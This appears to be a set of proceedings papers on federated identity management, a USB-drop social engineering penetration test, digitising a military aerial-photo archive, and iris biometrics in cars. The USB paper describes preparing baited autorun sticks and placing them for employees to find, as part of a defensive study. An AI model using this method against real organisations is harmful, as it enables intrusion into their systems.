During federation, business partners can have one of two roles: identity provider or service provider. Identity provider is responsible for authentication of the user and assertion of identity of that user for trusted business partner – service provider. The assertion consists of authentication statements, assuring that user is successfully authenticated. Identity provider is in charge of account creation, password management, provisioning and general account management.

As a result of a trust relationship between the identity and service provider, identity information about user is trusted and service provider delivers the required service or information to the user. Trust relationship is ensured by cryptographic keys used to encrypt and sign messages. By doing identity tasks, identity provider relieves business partners (service providers) from redundant identity management. Identity and service provider reduces the identity and access management cost and improves user experience.



Fig. 4. End-to-end user life cycle management

Federated single sign-on is a process where the user authenticates to the business partner - identity provider. If the user is successfully authenticated, the identity provider affirms user's identity to the service providers, granting him federated access to applications and services. In order to accomplish interoperability both sides must agree upon technical terms.[2]

Firstly, format and content of the security token needs to be managed. The security token generated by one partner needs to be acceptable for the other partner. The terms on which information is sent inside the token and how it is interpreted must be agreed on. Generation and consumption of security tokens in Tivoli Federated Identity Manager are managed by the trust service and invoked by the SSO protocol service.

Secondly, the single sign-on protocol needs to be managed. SSO protocol specifies the communication between the parties. It describes how a client requests and presents a security token and how a token is defined. SSO protocol messages in Tivoli Federated Identity Manager are managed by the SSO protocol service.

On the communication layer, all communication and HTTP messages are managed by the point of contact server, in Tivoli Federated Identity Manager, that is, WebSEAL web server. On the protocol layer, SSO messages are exchanged with the third-party through the point of contact server. On the trust layer, security tokens are exchanged between the Tivoli Federated Identity Manager and the third party through the SSO Protocol Service.

Presently, companies are striving to embrace business on demand solutions. The business model needs to be responsive, adaptive, focused and resilient. In order to do so, deconstruction of the enterprise is inevitable. Deconstruction of infrastructure to partners, customers, suppliers can be accelerated by implementing open standards and service oriented architecture. Open standards are the key components that enable interoperability between different systems, services and applications.



Fig. 5. Single sign-on components and communication between layers in IBM Tivoli Federated Identity Manager

With a wide range of supported open standards and cryptographic protocols, Tivoli Federated Identity Manager provides security customization and web service protection. Authentication information is managed through security open standards based identity and security tokens. Security token service (STS) is built into Tivoli Federated Identity Manager. It enables the identity mediation services, allowing the managing, mapping and propagating identities.[3] The module expands on the capabilities of the core federation solution for SSO and identity mediation for enterprise applications as well as SaaS.

IBM Tivoli Federated Identity Manager provides support for SAML 2.0, OpenID connect, OAuth, WS-Federation, WS-Security, WS-Trust, Information Card Profile, IBM Resource Access Control Facility, SHA-2, X509, Kerberos tokens.

Advanced Access Control Module has risk-based access capabilities, calculating the risk and protecting the information flow. Risk-based access enhances security of authentication and authorization mechanisms, estimates the risk and calculates the risk score. As a result, new policy rule is created and it determines whether user's request to access information will be permitted, denied or challenged to continue further authentication. The module is activated by explicit usage of an IBM license.

Integrated audit data collection and reporting generate the audit logs, tracking and incident reports to aid compliance activities. Tivoli Federated Identity Manager enables two- factor authentication with One-time password (OTP) capability. OTP improves authentication mechanism and can be implemented through configuration. The functionalities of the utmost importance for this module are OAuth support, context-based access, fingerprinting, multifactor authentication and device registration.

The business ecosystem needs to be carefully designed and connected. Federated SSO extends the availability and accessibility of applications to business partners, customers and consumers. As a result, resources are protected, easily accessible and the system integration cost is reduced.

As the digital era continues to grow and expand, the cyber security threats continue to evolve and adapt, creating a massive damage in digital economy. The uncontrolled and unsecured growth of Internet of Things will continue to threaten cyber security. If not secured, the increased growth of botnet networks made up of hacked IoT devices will produce a massive DDOS attacks. Physical security measures are going to be upgraded, in order to prevent insider attacks and use of external devices that are brought to fulfill one purpose - infect the system with malicious software.

The threat of ransomware has increased its potential to grow and become more frequent in 2017. Attackers will use more complex and sophisticated cryptographic algorithms. As enterprise data are more and more shifted towards cloud, the ransomware attacks will change focus on cloud systems. Cloud and mobile will definitely become common targets for various attacks and its security mechanisms will be questioned.

Business Email Compromise attacks are going to become more frequent and if employees are not aware of these types of attacks, serious damage can occur. CIAS concept and modern education techniques are the key factors in protection against these types of attacks. Employees must be aware of phishing techniques and properly trained to respond in critical situations.

Predictive analytics, machine learning and artificial intelligence will be essential parts of every security solution. These concepts will produce security solutions that are more intelligent and enable them to learn from previous activities so they can predict and prevent attacks on time. Adaptive and behavior based authentication will be commonly used, providing more effective and efficient authentication mechanisms.

" Companies will seek to quantify the costs and benefits of new technologies versus cost and likelihood of a breach, as information security becomes less an IT problem and more a risk management problem. " [10]

The cognitive era is coming and only business models which are agile, adaptive and secured will have the ability to successfully run a business and have a desired outcome. Rise of cyber risk management will have a great impact on businesses and become essential part of IT security.

4. CONCLUSION

In this paper, the concept of federated identities has been presented. Detailed insight in the field of research shows the modern approach regarding IT security principles and describes importance and a significant impact that federated identities have on IT security and business ecosystem. IBM security solution has been presented with detailed explanation of its structure, functionality and benefits.

Today, customers and companies are more and more reliant on well-structured interoperable systems in which the aspect of security solutions is significant. This ensures the greater and safer flow of information, especially considering the immense presence of large multinational corporations on the Internet.

The concepts of federated identities and access management will serve as pathways that will enable organizations to interconnect, giving lead to business productivity. IT security experts must be aware of the necessity to shift focus from designing more complex and secure systems to federation driven identity and access management and people-centric security, making systems more adaptive and resilient.

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SOCIAL ENGINEERING ATTACK METHOD ON ICT SYSTEMS **USING USB STICK**

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Abstract:

The use of methods of social engineering is a significant threat to the security of ICT systems. There are different methods of social engineering that can be applied depending on the means used. The main drawback of used methods is that the attacker comes into contact with the victim, usually in person or through various social networks. The method that we tested is based on the use of USB memory that is very effective, and there is no contact between the attacker and the victim. Taking into account the results of this study it is possible to improve safety awareness of employees and prevent or reduce the effects observed to attack ICT system.

Keywords:

Engineering, hacking, scripting.

1. INTRODUCTION

In this paper we are going to present a combined attack to ICT system. Information systems are constantly exposed to different threats including threats of using social engineering methods from the attacker. Different methods of social engineering (SE) are used but with the same goal. Attackers are trying to induce someone who has legal right to access the system to do some actions that will compromise the system. In this text we will use SEPF model to explain reasons of social engineering success based on socio-psychological factors. After that the attacker is going to exploit created vulnerability for unauthorized access to the system and compromise data or system as a whole. It is easy to imagine how much damage could be done to the system by the attacker if he succeeds to access the system in an uncontrolled manner. If using social engineering methods, attacker can use different approaches to the victim which will be described in the text. The attacker usually uses online approach which means that attackers have to bypass many network security measures including: firewalls, antivirus and antimalware software, intrusion detection system and so on. This is not an easy task and sometimes it is virtually impossible. From the other side attacker can also use a personal approach to the victim. The probability of success depends on the victim's psychological characteristics and profile as well as on the attacker's capabilities and skills. The main disadvantage of personal approach is that the victim could recognize the attacker later on. The method that we are testing doesn't require personal

contact and there is no need for bypassing the network and system obstacles. The attacker considers conditions and circumstances under which the victim will take unsecured USB memory stick and plug in USB into the computer. A different kind of auto run malware could be implemented on USB. In the paper we will present a real tested case which was unexpectedly successful.

2. SOCIAL ENGINEERING - METHODS AND GROUNDS

SE is a phenomenon closely connected to dynamic technological changes. We can define it as a psychological manipulation of people with the intention to take advantage of their personal or organizational data. Common aims of SE attacks are: information gathering, fraud or system access. Usual elements of most of SE activities are: intended influence on users and human error or weakness that enables success of SE attack. In nearly 90% of incidents success of SE attacks are based on human faults or biases in decision making which lead to breaking standard security procedures [1] [10].

Cialdini defines six principles used by SE attackers when they approach their victims: authority, commitment and consistency, reciprocity, liking, social proof and scarcity. Authority as a SE principle addresses people's habit to comply with authorities, even when they are persuaded to behave in a way different than their own beliefs [9]. Commitment and consistency are used by social engineers when they persuade behavior of a victim based on its identity, strong personal beliefs and habits [9]. In this case social engineers assume relatively predictable behavior of victims.

Reciprocity is based on a social norm that motivates people to compensate material or immaterial value received from others. Liking is an influence principle based on people's need to create and maintain social relationships. People have positive attitude towards others, so they could be "liked back". In a case when attackers show positive emotion towards a victim, they expect reciprocal reaction. Social proof is based on someone's need to be socially accepted. It can also be demonstrated in the case of alike opinions, when people trust others without any other reason. This principle is especially important in the case of decision making with high risk of loss. It is also successful in the case of relatively closed social groups with high level of mutual trust among their members. Finally, scarcity as a principle increases subjective value of goods or services, so it is a strong influence principle that can be used by a social engineer attacker. If something is relatively rare, a person will tend to perceive it as more valuable. It influences individual tradeoffs and approach to risky situations. Our example of SE attack is based on scarcity as principle of influence.

3. EMPLOYEES AS VICTIMS OF SE ATTACKS AND ORGANIZATIONAL SE VULNERABILITY

On corporate level, SE targets are employees, but the purpose of attack is reaching organizational resources or damaging organizational image for economic and non-economic reasons. Human, organizational and demographic factors can make an organization more or less vulnerable to SE attacks. Over 40% of security officers think that the greatest security threats in companies are employees who accidentally jeopardize security through data leaks or similar errors [10]. Social engineering focuses on weak spots of employees' behavior and habits and use it to avoid or break cyber security systems. One of the methods that can be used for organizational SE vulnerability assessment is penetration testing. Penetration testing (pen test) is a practice of checking IT systems that SE attackers could misuse. There are three main types of pen tests:

- Black box penetration testing,
- White box penetration testing and
- Grey box penetration testing.

In the case of black box penetration testing a tester has no information on the system he needs to test. The aim of the mentioned attack is gathering information on the tested system. However, White box penetration testing provides a wide range of information on system or network that should be tested (IP addresses, codes, schemes etc.). It simulates internal attack carried out by employees. Grey box penetration testing provides limited information to the tester. It can simulate external attack by someone who has already collected certain organizational security information. Grey box penetration testing is considered to be the best testing option if the tester is an external subject, considering cost/benefit analysis and security protection of potential information misuse risk.

Humans are the weakest link in the security chain so the security awareness program is of great importance while implementing security policy in the company. Correctly implemented security awareness program supports the organization with training, supervising and continuous improving of security awareness in the organization. Security awareness training should be composed of the following elements [6]:

- Organizational Security Awareness.
- Security Awareness Content.
- Security Awareness Training Checklist.

4. SOCIO-PSYCHOLOGICAL FACTORS OF SE ATTACKER-VICTIM INTERACTIONS

Social Engineering Personality Framework (SEPF) [9] can be used for analysis of SE victim's behavior. It explains socio-psychological factors that enable specific influence principles successful in SE interactions. We use it to connect different kinds of SE attacks with personal traits of victims. In the SEPF model, Cialdini's principles of social influence used by social engineers are matched with the Five-Factor Model (FFM), also known as the Big 5 [5].



Fig. 1. SE Personality Framework (SEPF), [9]

FFM consists of five broad personality dimensions or traits that can be further split into several sub-traits. Conscientiousness is related to continuance commitment and focuses on: competence, self-discipline, selfcontrol, persistence, dutifulness and following standards and rules. Extraversion is related to positive emotions, sociability, dominance, ambition and excitement seeking. Extraverted people are seen as highly vulnerable to SE attacks since they are more likely to violate cyber security policies [4] [9].

Agreeableness is also connected to a high level of SE vulnerability. Phishing is a SE method which particularly addresses this personality trait [3][9]. Agreeableness decreases a chance of breaking IT security rules, so overall SE vulnerability cannot be easily evaluated. Openness to Experience is related to influences approach to general IT security risk. Openness as a trait influences someone's risk evaluation so they are easily becoming SE targets [9]. At the end, neuroticism is seen as the least vulnerable

personality trait in this case. According to SEPF model, neurotic individuals are more ready to respect cyber security policies. They are also more sensitive towards privacy issues, so neurotic persons are not seen as easy targets of SE attackers (Figure 1).

In the SEPF model, all influence principles are connected with specific personality traits, categorized through standard "Big 5" classification (FFM), shown in the Figure 1. The given influence principles are specifically successful in interaction with victims who have related personality traits. For example, extroverted persons are vulnerable when attackers use liking, social proof and scarcity as influence principles. Contrary to it, neuroticism is not connected with any given influence principle. If SE attackers are aware that some personality traits are more vulnerable to certain kinds of influence, they will be able to adopt their strategies and be more successful with their attacks. On the other side, this model can be used to design cyber security systems in groups or organizations, based on personality traits of its members or employees.

5. EXPERIMENT DESCRIPTION AND RESULTS ANALYSIS

A security assessment project, which was launched because of massive data leakage from a company, will be explained here. Security testing was performed in a Company which deals with tourist and hospitality industry. The company has 50–100 employees and it is placed in Johannesburg, South African Republic. The Company has three main organizational parts:

- 1. Department with tourist agents that communicate with clients.
- 2. Administrative and support department.
- 3. IT department.

Several activities were taken, including some forensic methods and engagement of the security forces. One of the segments of testing was testing by using SE methods. SE was an introduction step for Grey box penetration testing and breaking attempt into corporate IT system. Top management of the Company was completely informed about investigation and testing activities, but employees didn't have any knowledge about the testing itself, neither about the methods that were taken. The only technical person who was informed was the chief of IT and he was required to keep information confidential until testing was completed.

Department In %	Structure of employees by Education in %		Structure of employees by Sex in %		Number of	Number of	
	University degree	High school	Female	Male	taken a	attempts	
1	73	39	34	51	22	5	7
2	23	11	12	18	5	3	5
3	4	4	0	0	4	0	0
Total	100	54	46	69	31	8	12

Table 1. Structure of employees and number of USB sticks taken

Several activities were taken, including some forensic methods and engagement of the security forces. One of the segments of testing was testing by using SE methods. SE was an introduction step for Grey box penetration testing and breaking attempt into corporate IT system. Top management of the Company was completely informed about investigation and testing activities, but employees didn't have any knowledge about the testing itself, neither about the methods that were taken. The only technical person who was informed was the chief of IT and he was required to keep information confidential until testing was completed.

Like preparation for testing, the testing team got layout of the building and access paths for pedestrians/ employees. The testing team also got information about the environment: bushes, trees, flower pots, lamps and other objects near the access paths. At the same time the team purchased ten USB memory sticks, from different manufacturers and different shapes and colors.

The next phase was installing auto run script to USB memory, invisible for the user. The script was designed to PING the server, and let server know that it is present in the system. If a real attack was launched, the script would be malicious and harmful [2][8]. Also, some insignificant documents, pictures and video clips were placed on USB sticks as well. In the final phase of preparation USB sticks were sanded a little bit to look like used. After that USB sticks were placed at carefully chosen places near the access paths as it had to look like somebody dropped them accidentally. Placement of USB was done before working time and before employees started arriving to the Company.

Eight USB memory sticks were found and plugged in company computers 60 minutes after the morning shift had begun. Five employees plugged USB once, two employees plugged in USB twice and one employee plugged in USB three times. The largest amount of USB memory was taken by male employees with University degrees although female employees were the majority in the company. The three time attempt of plug-in was done by mail. Nobody from IT department either took USB or plugged in USB into Company computer.

Management of the Company was informed about results and had in mind that there were no bad intentions of the staff. The testing team suggested to management that two main types of measures should be taken:

- 1. Improvement of knowledge and security awareness of employees
- 2. Technical measures for limitation of using USB.

Technical measures were relatively easy to implement but working with employees was and still is a long term process of rising security awareness.

6. CONCLUSION

Employees are the weakest point of a corporate cyber security system, which is confirmed with our example. We can conclude that IT proficiency is connected to IT security awareness. In our case IT staff did not fail penetration testing since they had high level of security awareness. Other employees were not aware of security awareness and potential damage which could be done.

Also, some other employee characteristics influenced their behavior during the penetration testing. According to the analyzed SEPF model, scarcity as influence principle used by SE attacker is especially appropriate for people with high level of extraversion and openness to experience. All of the employees who were SE victims came from Sales department of the Company. It is consistent with evidence of our penetration test.

The most important is analysis of components of successful SE attack in the observed case. The reason of such behavior of employees is given in detail in the text and briefly in the conclusion. Having in mind the explanations and results given in this paper, Company management can significantly reduce the possibility of similar attack. It si certain that technical security measures have to be implemented. In the observed case, USB memory stick has to be limited to the official devices with defining permission of the employee's right. Also, the Company should implement a customized employee security awareness training program. Since level of SE vulnerability in an organization is influenced by various factors including employee's characteristics, security awareness trainings for employees should be industry, profession and personality sensitive.

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INFORMATION SECURITY

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USING THE MILITARY GEOGRAPHICAL INSTITUTE PHOTOGRAMMETRIC DOCUMENTATION ARCHIVE DATA FOR SCIENTIFIC AND OTHER RESEARCH -THE NECESSITY AND IMPORTANCE OF DIGITIZATION

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Abstract:

The usage of aero photogrammetric methods in spatial data processing can provide important researching information, such as: soil erosion or phenomena of landslides, changes in forests and other vegetation, etc. The comparative analysis of archive aerial photogrammetrical images (API) and the latest aerial recording sessions can acquire information about the nature and trend of the problem, as well as the conclusions for taking preventive and corrective measures. This paper emphasizes the necessity and importance of the digitization of the Military Geographical Institute (MGI) photogrammetric documentation archive data in order to provide possibilities of using those archive data for scientific research.

This paper, apart from introduction and conclusion, consists of three parts: general information on MGI and photogrammetric documentation archive; general information on analog to digital API data conversion process; the necessity and importance of the MGI photogrammetric documentation archive digitization.

Keywords:

Military Geographical Institute, aerial photogrammetrical images, photogrammetric documentation archive, digitizing, spatial analysis.

1. INTRODUCTION

The main objective of this paper is to represent for scientific and other research the possibility of MGI photogrammetric documentation archive data usage to scientific and general public. In addition to the main objective, the paper aims to draw attention to necessity and importance of archive digitization. It is believed that archive digitization would provide a better basis for protection and use of archive items, which represents the initial hypothesis of this paper. The archive was established in 1950 and is comprised of the aerial images of the Republic of Serbia territory as well as the aerial images of the former republics of the Socialist Federal Republic of Yugoslavia territory. Considering quantity, the aforementioned archive is comprehensive, and according to the contents it includes a variety of aerial images products: analog aerial images (films), photograms, slides and other products derived from aerial images.

It is common that modern research of numerous spatial items and for different purposes (scientific disciplines, businesses, etc.) require

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e-mail: sbakrac@yahoo.com consideration of the prior situation. Therefore, this archive provides both opportunity and benefits and can be used in numerous ways, especially for scientific purposes.

However, most of the archive items, especially analog aerial images, are in danger of complete disappearance, on the chemical basis because of the self-accelerating decomposition process. Therefore, implementation of archive digitization, apropos analog to digital form conversion is necessary as soon as possible.

2. GENERAL INFORMATION ON MGI AND PHOTOGRAMMETRIC DOCUMENTATION ARCHIVE DATA

The Serbian Armed Forces and the Ministry of Defence of the Republic of Serbia are supplied by MGI with geotopographical materials, primarily topographic maps. Moreover, other government organizations are supplied by MGI's products, as well as the private sector and individuals. In addition to general tasks, MGI is achieved through scientific research as an accredited institution - research and development institute. In the section of the general and scientific tasks MGI creates and archives the results of aerial recording sessions such as: aerial images (negatives and positives), photograms, slides, photo layouts and other product derived from aerial images. A photogram represents a pair of consecutive aerial images with longitudinal mutual overlap of 60%; it is also referred to as a stereo pair (stereogram). A slide is a transparent image with tones which correspond to reality. A photo layout provides an overall recorded land oversight and objectively in detail represents the situation of mutual position of natural and artificial objects at the moment of recording.

Archive was established with the intention to preserve the most important results of aerial recording sessions, as well as corresponding data and recording records (location, scale, year, etc.).

Archive was established in 1950. Archive is located in the room which is, for better functionality, divided into two parts: working and storage part (Figure 1). The working part is intended for performing regular tasks within the archive competence (reception and issuance of aerial images, maintaining recording records, scanning, etc.) and there are stored photograms and slides. Aerial images are housed at storage (archive) part of aforementioned room. The room is air-conditioned and meets all formal requirements for operation and photogrammetric documentation prevention.



Fig. 1. Plan of the photogrammetric documentation archive data

The oldest film in archive is called Split, Omiš, ordinal 1 comprised of 34 aerial images and number of the first aerial image is 3844. A significant part of the archive (more than 70% of the photogrammetric material) emanated as a result of photogrammetric survey of the former Socialist Federal Republic of Yugoslavia for the production purposes of topographic maps at the scale of 1:25.000 (TM25) and topographic maps of 1:50.000 (TM50).



Fig. 2. An image of an archive part

Military Geographical Institute has been destined to keep permanently all negatives which were issued during realization of military tasks. Therefore, nowadays there is a possibility of comparing images of the same area which were recorded during different epochs. That can produce meaningful conclusions about certain phenomena and their changes over time. Furthermore, the old aerial images which have undergone the process of modern photogrammetric technologies can provide information about the area that could not be obtained at the time of their genesis and initial processing.

3. GENERAL INFORMATION ON THE CONVERSION PROCESS OF ANALOG AERIAL IMAGES TO DIGITAL FORMAT

Archive data conversion process from analog to digital format and their publication would be performed through several phases:

- Scanning of aerial images
- Designing, creation and input metadata
- Linking metadata to scanned aerial images using GIS tools and
- Web services publication.

In this case, it is optimal to use OGC 04-51 and OGC 04-52 standards [10], which explicitly include the scope of archiving and cataloguing of digital aerial images in accordance with the necessary web presentation requirements, searching and distribution, applying appropriate Open Web Service.

The most complex step in archive digitization is scanning of aerial images using specialized scanner at selected resolution [1].



Fig. 3. An image of a type of photogrammetric scanner [4]

Further work would constitute an information system and database creation which would be comprised of alphanumeric data expanded with graphical data (scanned aerial images, flight plans, etc). This would establish data organization and both processes and information would be provided with useful information to beneficiaries - customers of information system.

The possibility of establishing a "live" system which could be updated, presented and connected to other systems in a real-time would be effectuated by metadata linking from database to GIS and WEB services.

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Fig. 4. An image of database window with options for aerial images management

4. THE NECESSITY AND IMPORTANCE OF ARCHIVE PHOTOGRAMMETRIC DOCUMENTATION DIGITIZATION

Considering the quantity and variety of archive items, the necessity of converting from analog to digital form is obvious. Likewise, in order to facilitate data searching there is a necessity to create relevant database. Furthermore, digitization provides conditions for better recording results preservation. The fact is that the film positives and negatives subject to the unstoppable process of losing individual properties and degradation over time. The largest parts of the archive items are negatives and they are especially sensitive. Obviously, negatives are more difficult for storing in analog than in digital format and require more storage space. Moreover, negatives are inflammable and are kept only in one sample, as opposed to digital format which can be easily multiplied and copies could be stored at different and remote locations.

The importance of archive digitization, especially the greater part which relates to aerial images is multifaceted. Firstly, it may be presented through faster searching, easier selection and download of required images, as well as the possibility of web services presentation. Therefore, archive digitization should create the basis for establishment of MGI's aerial survey and aerial images information system. Such information system will be easily accessible to the widest range of users, firstly searching and ordering-download. Further use of archive data, depending on requirements, can also be multifaceted. This paper emphasises the possibility and importance for the purposes of multidisciplinary character scientific research [2],[3],[6],[7],[8],[9].





CONCLUSION

Using aerial survey methods and analysis of aerial images provides a good basis for a variety of geospatial research. The most interesting might be research intended for monitoring purposes: environmental, geographical factors, economic activities (tourism, forestry, water management, etc.). Compared to other geospatial data collection methods, including satellite imagery, undoubted are the advantages of this method. The most important are: full operational autonomy, data (image) quality, price and the use of images from substantially earlier recording periods. This type of researching is actual and present in many countries, especially the developed ones, as evidenced by a number of scientific papers published in prestigious journals. There is a universal understanding and internationally shared vision that national, scientific, cultural and historical significance is based on permanent preservation and retention of the aerial survey results. This importance is even greater considering the fact that MGI was the indigenous founder of photogrammetric survey methods application and since then has been a leader in its application (during a certain periods MGI had a sole aerial survey service). Therefore, the presentation of MGI's archive photogrammetric documentation, perceiving the importance and possibility of scientific and other purposes of using and consideration of the necessity

of its digitization constitute the objective and represent the subject of this paper.

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APPLICATION OF BIOMETRICS IN AUTOMOTIVE INDUSTRY -CASE STUDY BASED ON IRIS RECOGNITION

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Abstract:

Biometrics is used for unique identification of individuals. The identification can be done in two ways depending on the input, unique biological features or behavioral characteristics. Iris recognition is a method of biometric identification which is based on pattern recognition techniques. It provides high level of security and reliability, which makes it suitable for application in many areas. This method is intended to be used in one-to- many searching environment with stability as its main characteristics. The iris recognition method is based on high resolution images of the iris. It uses camera and IR illumination in order to eliminate or reduce reflection from the convex cornea and to obtain detailed rich images of very complex structure of the iris. Then, the images are converted into digital templates and stored in the biometric system database for future matching. In some cases, the efficiency of the iris recognition may be disrupted by eyeglasses or contact lenses, which can result in mismatching of the sample and the stored template. This paper deals with the implementation of the iris method in automotive industry in the area of safety and security.

Key words:

Biometrics, iris, security, recognition systems, automotive safety and security, eye tracking.

1. BIOMETRICS

Biometrics is a science that deals with measurable biological characteristics and/or behavioral characteristics. This term comes from the Greek words bios (life) and metron (measure). Standardized definition of biometrics is "automated identifying individuals based on their behavioral and biological characteristics" (Bidgoli, 2006). Some of the most common biometric physical characteristics include: fingerprints, hand geometry, iris, retina, facial features, thermograph face, vascular patterns (arrangement of veins), smell and DNA. Examples of behavioral biometrics include: signing, mouse tracking, walking and typing on the keyboard. Biometrics was regulated and defined in accordance with the ISO (International Organization for Standardization) requirements.

Fingerprint biometrics has a wide range of applications in the areas of civil society, military industry, legal proceedings, etc. One of the most important methods that biometrics heavily relies on is the Fingerprint

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Scanning. This biometric method is based on enrollment databases, which are used in protection of the international borders, criminal identification, and identity recognition. [1]

Туре	Stability	Accuracy	Signal acquisition	Applications
Physiological characteristics	Relatively stable	Accurate	Easy	Widely applicable to all three functions of biometrics
Behavior characteristics	Not very stable	Somewhat accurate	Easy	Mostly used for authentication, or combined with other biometrics for authentication/identificatio
Psychological characteristics	Very unstable	Not accurate	Very difficult	It is still in the early stage of development. Possibly used for spoof protection in extreme high security environment

Fig. 1. Biometric characteristics comparison types

2. IRIS AS AUTHENTICATION METHOD

Iris recognition method is considered to be the most stable and reliable method of authentication. Therefore, for the protection of a car against stealing, or in order to prevent any manipulation with the car electronic system, the iris method can be implemented as a part of the system that is already integrated in the car. Iris system of recognition is an automated method that is used for identification. This method is based on mathematical pattern recognition techniques of high quality images. It scans one or both irises of an individual and the patterns are unique and very stable. [2]



Fig. 2. Iris in a car, iris scanner in a rear view mirror; (source: https://venturebeat.com)

Characteristics of a well-implemented iris biometric system include extracting a great number of individual's

unique features and a significantly reduced risk of storing the same templates for two or more individuals. In 2013, Apple integrated fingerprint sensors in their flagship phones and other companies soon started following the suit. In 2015, Fujitsu/NTT DOCOMO introduced iris recognition method in their smartphones which made it possible for the users to unlock their phones just by looking at them. Other big companies like Microsoft, Samsung, HP recognized the potential of this method and started integrating it in their products. Now, the question is why not integrate the same biometric method in connected cars?

Actually, we already have fingerprint recognition in connected cars. The users just need to touch a certain part of a car to complete the process of authentication. For example, it can be one of the doors or the ignition system. Where can the iris method be applied?

This method is intended to be implemented in connected cars in cases where we want to avoid physical contact. It is a kind of touchless biometric recognition. [3] Biometric technologies require a certain amount of cooperation from users that is, the users need to stand still while the devices scan their irises, faces, hands or fingers. Iris systems are typically used for distances shorter than 30 cm and in front of cameras. Therefore, during the process of recognition users must be motionless and look directly at the camera. As these devices are based on infrared illumination techniques, this type of recognition does not pose any health risks. [4]

Biometric authentication of a driver

Initially, the introduction of the iris method in automotive industry was to offer a new method of driver identification and authentication, as well as to create the opportunity to apply this method beyond the vehicle security and safety. Today, there is an increasing trend of ride-sharing services, which lead to the demand for the implementation of biometric technologies in terms of identification and authentication of a number of users who share the same car. A biometric method that enables a high level of security is the iris recognition method. It is usually installed in rear view mirrors and different car setups for different drivers can be adopted, for example, a limited speed setup in order to provide an increased level of safety for teenage drivers. Many big companies and organizations that frequently faced this issue have already implemented biometric technologies in order to be able to identify their drivers/employees at any time.

Besides the above-mentioned examples, payment services also use iris authentication. For example, Samsung

Pay, Apple Pay and Google wallet are linked with credit cards and mobile phones which are used as payment terminals. Cars can have the same role. Once a car is connected to a system of payment, different kinds of biometric methods can be used to execute payments. For example, payments can be done at a gas station or in a coffee shop, or any drive-through. Also, there are in-car payments that are done via e-commerce.

In addition, this kind of biometric method can be used to increase safety. As its authentication process is very systematic and detailed, the iris recognition combined with CCD camera and algorithm based on Gabor Filter can prevent drunk drivers from starting their cars.



Fig. 3. Model of alcohol presence via iris recognition

In terms of safety in a car, iris recognition goes one step further by monitoring drivers' eyes for drowsiness and distraction. In newer cars, this system does not only alert drivers but also activates a predefined mode to drive the car to safety. Biometric technologies are also used for entertainment, such as setup of sound system, GPRS, cell phones, based on preferences of each driver.



Fig. 3. Human eye structure

3. IRIS RECOGNITION METHOD

Individuality

There are no two irises alike, no correlation between iris patterns in twins and even the right and left eye of the same individual are different. An amount of information that can be measured in a single iris is much greater than the number of information taken from fingerprint. It is very difficult to modify texture of the iris by surgery. Also, it is rather easy to detect fake irises (designer contact lenses). While the general structure of the iris is genetically determined, particular aspects of its details depend on the circumstances. Human iris begins to form during the third month of pregnancy. By the eight month of pregnancy, the process of distinctive iris pattern creation is completed and the pigmentation lasts for several years after birth.

Functionality

Physical functionality of the iris is outstanding and it is often compared with the diaphragm (opening for passing light) of a camera. A normal iris has f-number - usually f/2 or f/3 - which is ideal for maximum exposure to light. If we compare it with a camera, this number would represent the diameter of a camera lens diaphragm opening. In other words, it represents the effective focal length of the lenses. For example, f/10 represents a diaphragm opening diameter that is one tenth of the focal length or the focal length is the length of ten openings.

The time that iris needs for changing the amount of light it receives is about fifth of a second. On the other hand, the reduction of the light is minor, less than factor of 20 (one more f-stop). This leads to a conclusion that the iris is not responsible for the control of light intensity, which is the function performed by the rods and cones in the back of retina.

Just like changing f-stop on a camera, the iris can effectively reduce aberrations, especially in bright conditions and increase the depth of field.



Fig. 4. Comparison: camera vs human eye (iris)

In conclusion, the individual components of the eye function in a manner similar to a camera shown in a [Figure 4.]. Cornea function is similar to a camera lens cover. As the main focusing element of the eye, cornea receives a wide range of light rays, and bends them through the pupil. The pupil is a dark round opening in the center of the colored iris. The iris and pupil function like an opening of the camera. The function of the eye lens is to focus light on the back of the eye, just like the lens in a camera. The retina is placed on the back of the eye and its role is the same as the role of a film in a camera i.e. image sensor in digital cameras. The retina can be described as a membrane which contains photoreceptor nerve cells that are placed inside the back wall of the eye. These photoreceptor nerve cells of the retina transform light rays into electrical impulses. The optic nerve transmits the electrical impulses to the brain. The Macula is responsible for sharp vision, for example, when we read or watch something that requires focus, while the peripheral retina is responsible for peripheral vision.

Characteristics

Iris recognition technology converts visible iris characteristics into a 512 byte IrisCode, a template which is stored into biometric system database for future verification. Speaking of storage terms, 512 bytes is a small size for a biometric template but it stores a large quantity of information, which makes it quite unique. This amount of information is massive. For example, from iris with diameter of 11 mm, Daugman's algorithms provide 3.4 bits of data per square mm. Based on the density of information like this one, it can be concluded that each iris has 266 unique points. In comparison, the traditional biometric fingerprint technology stores 13-60 points. Daugman concludes that 173 independent binary degrees-of-freedom can be extracted from his algorithm, which is a significant number for biometrics.

Algorithms

The first step for biometric system based on iris is to locate the eye with the camera. The distance between the eye and a camera should not be greater than 90 cm (ideal distance is between 30-40 cm). After the eye is captured by the camera, the algorithm scans the iris from right to the left and locates its outer edge. The horizontal approach is adopted because of a possible obstruction by the eyelids. At the same time, the camera locates the inner edge of the pupil, excluding points that are 90 degrees or more in relation to the shortest line between the eye and the camera, which is caused by lighting issues and inherent moisture. [5]



Fig. 5. Algorithm of Iris Area

Monochrome camera uses both types of light, visible and infrared. The infrared light is located within 700-900 nm range. The algorithm uses 2-D Gabor wavelets for mapping and filtering segments of the iris, in the form of vectors. (phasors). This operation does not include the entire surface of the iris, but rather its portion at the top. Also, 45 degrees of the iris bottom is not included because of the eyelids and camera light reflections. In future authentications and identifications, the biometric system will not use images to compare irises, but hexadecimal representations of the data returned by wavelet mapping and filtering. [9]



Fig. 6. Block diagram of iris recognition (algorithm)

4. IRIS RECOGNITION MATLAB SIMULATION

MATLAB is a high level interactive environment for numerical computing, visualization and programming. Via MATLAB we can analyze data, create models and applications, as well as develop algorithms.

The iris recognition can be successfully simulated by using this software. The Image Processing Toolbox, which is available in this software, enables us to detect, normalize and match templates with the database.

The main functions of Image Processing Toolbox are:

- Filtering, deblurring, and enhancement of the image;
- Analysis of the image, including morphology, segmentation, measurement and feature extraction;
- Intensity-based image registration and spatial transformation methods;
- Image transformations;
- Interactive tools, which include Region Of Interest (ROI) selections, histograms, and distance measurements.

Array is a basic data structure in MATLAB. The representation of an image is in a form of real-valued ordered sets of color or intensity data. Most images in MATLAB are stored as two dimensional arrays, in which each element of the matrix corresponds to a single pixel in the image which is displayed. [6]

